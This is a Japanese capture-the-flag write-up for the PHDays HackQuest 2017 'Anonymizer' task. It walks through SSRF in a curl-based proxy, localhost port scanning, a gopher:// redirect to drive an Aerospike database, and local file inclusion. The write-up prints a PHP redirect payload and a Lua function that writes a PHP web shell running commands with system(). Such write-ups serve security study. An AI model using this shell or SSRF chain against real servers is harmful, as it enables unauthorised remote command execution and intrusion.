[PHDays HackQuest 2017]アノニマイザー:SSRFまたは危険なカール

PHDays HackQuest 2017によるアノニマイザーのジョブ解析( ここでも利用可能)。















[GO]ボタンをクリックすると、次のリクエストがサイトに送信されます。













答えには、リクエストしたサイトのコンテンツが表示されます。













一緒にgoogle.comを試して、アノニマイザーに127.0.0.1を表示してもらい、その答えがアノニマイザーのメインページに来ることを確認します。 これは、サーバーが要求を送信するホストのIPアドレスが検証されないことを意味し、これを使用して、localhostのポートの1つをリッスンする興味深いサービスを探すことができます。 多くの場合、サービスがローカルホストのみをリッスンしている場合、認証は設定されていません。







最初に、127.0.0.1で使用可能なポートをスキャンする必要があります。 これを行うには、 https://anonymizer.rosnadzorcom.ru/?url=127.0.0.1:<port>&page=curl&submit=111



https://anonymizer.rosnadzorcom.ru/?url=127.0.0.1:<port>&page=curl&submit=111



ようなリクエストを送信し、興味深い動作を追跡する小さなスクリプトを作成します。 スクリプトを実行した結果、ポート3001および3003に要求が行われると、タイムアウトにより接続が切断されることが判明しました。













Googleは、ポート3000-3003がAerospike NOSQL DBMSを使用することを示しました。







私たちにとって最も興味深いポートは3000です。 DBMSはそれによって制御されますが、制御プロトコル自体はテキストではありません(たとえば、Redisとは異なります)。 ここでは、Anonymizerがcurlを使用してWebページを要求するのに役立ちます。curlはSSRFの最も豊富なアプリケーションを持っています( curlでSSRFを使用するための最良のマニュアルの1つです )。







curlはGopherプロトコルをサポートしているため、curlはgopher://<host>/<url-encoded-data>



タイプのリクエストを使用してTCPデータを送信できますgopher://<host>/<url-encoded-data>



(便利ですか?)。 また、サーバー側でプロトコルをフィルタリングする際に起こりうる問題を回避するために、リダイレクトトリックを使用します。このスクリプトが存在するWebサーバーにリクエストを送信します。







 <?php header('Location: gopher://127.0.0.1:3000/<url-encoded-data>'); ?>
      
      





なぜなら Aerospikeと対話するためのプロトコルはバイナリであるため、分析に時間を浪費しないように、ホストでこのDBMSを上げ、aql管理ユーティリティがさまざまなリクエストに対して送信するトラフィックを確認します。 たとえば、クエリ「SHOW NAMESPACES」に一致するトラフィックは次のとおりです。













トラフィックダンプからLocation



ヘッダーにバイトをプッシュし、テストDBMSで通常の手段を使用してクエリの結果を比較します。













およびSSRFを介したDBMS上。













私の意見では、それはかなり似ています。







DBMSをあちこち踊った後、データベース自体にフラグが存在しないことが明らかになりました。 そのため、ファイルシステムから取得する必要があります。 なぜなら Aerospikeストック構成でFSを使用することはできません; PHPシェルを埋めてアクティブにする方法を考え出す必要があります。 ここでは、 page



パラメーターのコンテンツをフィルター処理できないために発生したローカルファイルインクルージョンの脆弱性が役立ちます。













そのため、シェルをアクティブにする方法がありますが、それはシェルをホストに配信するためだけです。 ところで、LUAで記述されたAerospikeユーザー定義関数を作成する必要があります。 シェルをアドレス/var/www/html/sl4v.phpに書き込む関数を作成します。







 function hello_world() file = io.open("/var/www/html/sl4v.php", "w") file:write("<?php if(isset($_REQUEST['cmd'])){echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die;}?>") file:close() return "1" end
      
      





REGISTER MODULE



およびEXECUTE <module>.<function>(<args>) ON <ns>[.<set>]



使用して、テストベースでUDFを作成および実行し、トラフィックを書き込み、SSRFを介してリクエストを送信し、UDFが実行されることを確認しますただし、エラーが発生します。













DBMSには/var/www/html/



フォルダーへの書き込み権限はないようですが、 opt/aerospike/usr/udf/lua/



フォルダーへの書き込み権限はあります。 正しいパスでシェルをリロードし、フラグを少し検索するためだけに残ります。













ご清聴ありがとうございました!








All Articles